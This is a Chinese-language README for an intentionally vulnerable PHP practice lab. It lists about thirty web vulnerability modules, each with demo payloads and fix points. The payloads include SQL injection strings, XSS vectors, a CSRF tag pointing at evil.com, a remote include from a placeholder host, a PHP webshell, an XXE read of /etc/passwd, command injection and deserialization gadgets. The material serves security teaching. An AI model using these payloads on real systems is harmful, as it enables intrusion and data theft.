仅用于安全学习。所有示例均为演示漏洞,切勿在生产环境或未经授权环境使用。
- 默认数据库用户
admin/admin123(MD5 存储),guest/guest。 - 安装完成后访问首页,逐个模块练习。
- SQL 注入
- XSS(反射型/存储型/DOM)
- CSRF(邮箱修改)
- 文件上传绕过
- 文件包含(LFI/RFI)
- 路径遍历
- 命令注入
- SSRF
- 不安全反序列化
- PHAR 对象注入
- 开放重定向
- 邮件头注入
- 弱加密与弱随机
- 权限逻辑漏洞
- 会话固定
- 变量覆盖(extract)
- XPath 注入
- 正则 ReDoS
- PHP 流包装器信息泄露
- LDAP 注入
- Web 缓存投毒与欺骗
- 二次解析(双重解码)
- 数字型:
id=1 OR 1=1可返回所有用户信息。 - 字符型:
q=admin' OR '1'='1绕过用户名精确匹配。 - 登录绕过(login.php):用户名
admin,密码"' OR '1'='1",拼接语句命中。 - 修复要点:使用预编译(PDO prepare/bind)、最小权限账户、关闭错误回显、统一过滤输出。
- 反射型:访问
reflected.php?q=<script>alert(1)</script>即弹窗。 - 存储型:在
stored.php留言处提交<img src=x onerror=alert(1)>,再次加载列表触发。 - DOM 型:在
dom.php#<svg onload=alert(1)>,由 JS 将 hash 注入到innerHTML触发。 - 修复要点:输出时用
htmlspecialchars;对富文本采用白名单过滤;前端避免直接innerHTML;开启 CSP。
- 登录后访问该页,通过 GET 参数即可改邮箱:
?email=attacker@evil.com。 - 制作恶意页面嵌入
<img src="http://target/modules/csrf/change_email.php?email=evil@evil.com">即可跨站触发。 - 修复要点:校验 CSRF Token、限制敏感操作为 POST、SameSite Cookie、双因子校验。
- 仅检查扩展名,可用双扩展:
shell.php.jpg。 - 若服务端解析误配或结合文件包含可进一步 RCE。
- 修复要点:强校验 MIME 与内容、随机文件名、存储到非可执行目录、图片库解码二次校验。
- LFI:使用
page=../../data/notes.txt绕过路径,读取任意文件(演示目录内)。 - RFI:若
allow_url_include=On可尝试page=http://yourhost/payload.txt。 - 修复要点:严格白名单/映射、禁用远程包含、路径归一化与限制根目录。
file=../core/init.php可读取源码。- 修复要点:限制目录、拒绝
..、仅允许固定文件名或ID。
- Windows 示例:
host=127.0.0.1 & calc注入系统命令。 - 修复要点:使用安全API(如 ping 库或禁用系统调用)、严格白名单、转义与拆分参数。
- 请求任意URL:
url=http://127.0.0.1/或云环境http://169.254.169.254/(如可访问)。 - 修复要点:禁止访问内网/环回、协议白名单与域名白名单、超时与响应大小限制。
- 构造:
O:4:"Evil":1:{s:3:"cmd";s:8:"calc.exe";}触发__destruct。 - 修复要点:拒绝反序列化不可信数据,使用 JSON;如必须,启用允许类白名单、禁用危险魔术方法。
- 若代码对
phar://路径使用getimagesize()等函数,PHAR 元数据内置对象可自动反序列化。 - 测试:准备含恶意对象元数据的
evil.phar,访问path=phar:///绝对路径/evil.phar/test.jpg。 - 修复要点:拒绝处理不可信 phar、仅处理真实图片文件、禁用自动反序列化。
to=https://evil.com/直接跳转,易钓鱼。- 修复要点:限制跳转到站内路径、加入签名或白名单校验。
from字段可注入 CRLF:noreply@example.com\r\nBCC: attacker@evil.com- 修复要点:校验邮件头、拒绝控制字符、使用安全邮件库。
- 使用
md5 + rand生成令牌,容易预测。 - 修复要点:使用
random_bytes/openssl_random_pseudo_bytes等强随机,令牌长度足够。
?admin=1即显示敏感信息,完全依赖参数。- 修复要点:后端基于会话角色校验,严禁信任前端参数。
- 登录后不
session_regenerate_id(true),攻击者可预设会话。 - 修复要点:登录成功后立即 regenerate,设置
HttpOnly与SameSiteCookie。
- 读取本地文件(Linux):
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>
- 读取 Windows 文件:
file:///C:/Windows/win.ini - 修复要点:禁用外部实体解析,使用
LIBXML_NONET并关闭 DTD;改用安全解析器。
- 演示:在文本框输入
echo system('whoami');或phpinfo();即执行。 - 修复要点:绝不对不可信输入使用
eval/assert,采用白名单逻辑与安全 API。
- 构造
alg=none的 JWT:头{"alg":"none","typ":"JWT"},载荷可设置{"user":"admin"},签名留空。 - 或伪造签名时仍被接受。
- 修复要点:强制指定算法并验证签名与密钥,拒绝
none算法。
- 登录后访问
?id=2即可读取他人信息。 - 修复要点:后端基于会话身份做所有权与权限校验(对象级访问控制)。
- 接口反射任意
Origin并启用Allow-Credentials,可在恶意站点跨域读取含敏感字段的响应。 - 修复要点:仅允许可信白名单域名,
Allow-Credentials=true时不得使用*,避免反射来源。
- 示例:
price=999&price=1覆盖价格;role=user&role=admin提升角色。 - 修复要点:统一参数解析策略、拒绝重复同名参数、严格类型与边界校验。
- 写入 WebShell:路径
../../webshell.php,内容<?php system($_GET['cmd']); ?>,之后访问webshell.php?cmd=whoami。 - 修复要点:限制写入目录到沙箱、固定文件名/扩展、校验内容与权限、最小化文件系统操作。
- 暴露服务器版本、扩展、路径、环境变量等敏感信息。
- 修复要点:生产环境移除调试页面,必要时通过鉴权严格限制。
- 构造的密码重置链接依赖
HTTP_HOST,可通过伪造 Host 头注入恶意域名并钓鱼。 - 修复要点:生成链接时使用配置的可信主域名,token 加签与有效期校验。
- 前端传入的价格可被任意篡改,后端未做校验。
- 修复要点:后端依据数据库商品价格与用户权益计算金额,拒绝前端价格参数。
- 目标页未设置
X-Frame-Options或 CSPframe-ancestors,可被第三方页面以透明 iframe 覆盖按钮诱导点击。 - 演示:打开恶意页
evil.html,点击“立即领取”实际触发目标页敏感按钮。 - 修复要点:设置
X-Frame-Options: DENY/SAMEORIGIN或 CSPframe-ancestors 'none' / <可信域>;对关键操作加入二次确认。
- 使用
==比较时,"0e..."字符串被视作科学计数法的数字 0,导致与其它0e...比较相等;md5('QNKCDZO')等“魔法哈希”可绕过。 - 演示:输入 token
0e999999999或密码QNKCDZO,观察验证结果。 - 修复要点:使用
===严格比较;对于哈希比较使用固定时长的常量时间比较;避免依赖弱哈希。
- 每个模块先尝试基础 payload,再推演到更复杂情形(联合注入、二次注入、文件上传联动文件包含等)。
- 结合浏览器插件或 Burp Suite 等工具进行拦截与修改请求。
- OWASP Cheat Sheet Series
- PHP 官方手册(安全相关章节)
- DVWA / Pikachu 项目结构与练习方式
- 现象:通过
extract($_GET)导入参数到当前作用域,EXTR_OVERWRITE默认覆盖同名变量,导致后端关键变量(如is_admin、role)被用户输入替换。 - 体验:访问
?is_admin=1&role=admin,观察权限从普通用户变为管理员。 - 修复要点:避免使用
extract(),使用白名单映射赋值;统一读取请求参数后做类型与范围校验;关键变量不可被外部覆盖。
- 现象:将输入直接拼接到 XPath 表达式(如
//user[name='$q']),可通过闭合与追加路径语法选择更敏感的节点或绕过条件。 - 体验:
q=alice'] | //user[role='admin,使查询包含管理员节点,从而读取secret。 - 修复要点:避免字符串拼接,采用参数化/安全 API;对输入做白名单(仅允许合法用户名字符集);结果集二次按角色权限过滤。
- 现象:含嵌套量词与可回溯的模式在特定输入上产生灾难性回溯,CPU 占用飙升(拒绝服务)。
- 体验:模式
^(a+)+$对输入aaaa...b(一长串a后接b)会显著耗时。 - 修复要点:避免嵌套量词;使用原子分组/占有量词降低回溯;限制输入长度与正则复杂度;加入执行超时与隔离策略。
- 现象:未限制路径或包装器前缀时,
php://filter/convert.base64-encode/resource=可读取并展示源码,泄露敏感逻辑与凭据。 - 体验:读取
index.php或core/init.php源码,观察到配置信息与实现细节。 - 修复要点:路径白名单与扩展限制;拒绝
php://、phar://、data://等包装器;关闭错误信息与目录索引。
- 现象:输入直接拼接到 LDAP 过滤器,如
(|(uid=$u)(mail=$u@example.com)),通过特殊语法扩展检索范围,获取更敏感条目(如管理员)。 - 体验:
u=*)(|(role=admin))(,模拟结果包含管理员记录。 - 修复要点:严格白名单输入,拒绝
* ( ) | &等特殊符;使用参数化接口/统一转义;结果集再按权限过滤。
- 现象:缓存键未包含影响响应的参数/头部(如
promo、User-Agent),导致动态内容被缓存并提供给其他用户(投毒)。 - 体验:对同一
page写入不同promo,观察同一缓存槽位被污染,其他用户看到恶意内容。 - 修复要点:将影响响应的参数/头纳入缓存键(
Vary);对动态页面禁用缓存或细粒度缓存;设置正确Content-Type与路由,避免静态化欺骗。
- 现象:网关/服务器一次解码 + 应用层二次解码还原危险序列(如
../),绕过校验与路径限制,造成路径穿越读取。 - 体验:
file=..%252F..%252Fcore%252Finit.php经过两次解码变成../../core/init.php并被拼接读取。 - 修复要点:统一并仅一次解码;路径规范化(
realpath)与前缀校验;白名单文件名/扩展与目录限制。